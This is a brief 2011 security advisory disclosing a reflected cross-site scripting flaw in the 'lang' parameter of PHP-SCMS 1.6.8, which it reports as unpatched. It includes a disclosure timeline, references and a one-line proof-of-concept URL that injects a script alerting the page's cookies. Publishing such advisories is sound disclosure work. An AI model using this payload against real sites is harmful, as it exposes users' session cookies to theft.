Advisory: PHP-SCMS 1.6.8 "lang" parameter XSS vulnerability
Advisory ID: SSCHADV2011-035
Author: Stefan Schurtz
Affected Software: Successfully tested on PHP-SCMS 1.6.8
Vendor URL: http://php-scms.sourceforge.net/
Vendor Status: unpatched (no vendor feedback)

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Vulnerability Description

PHP-SCMS "lang" parameter is prone to a XSS vulnerability

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PoC-Exploit

http://<target>/scms/index.php?lang='"</script><script>alert(document.cookie)</script>

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Solution

unpatched

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Disclosure Timeline

08-Nov-2011 - Secunia SVCRP ([email protected])
14-Dec-2011 - no vendor feedback
14-Dec-2011 - release date of this security advisory

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Credits

Vulnerability found and advisory written by Stefan Schurtz.

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References

http://secunia.com/advisories/46766/
http://www.rul3z.de/advisories/SSCHADV2011-035.txt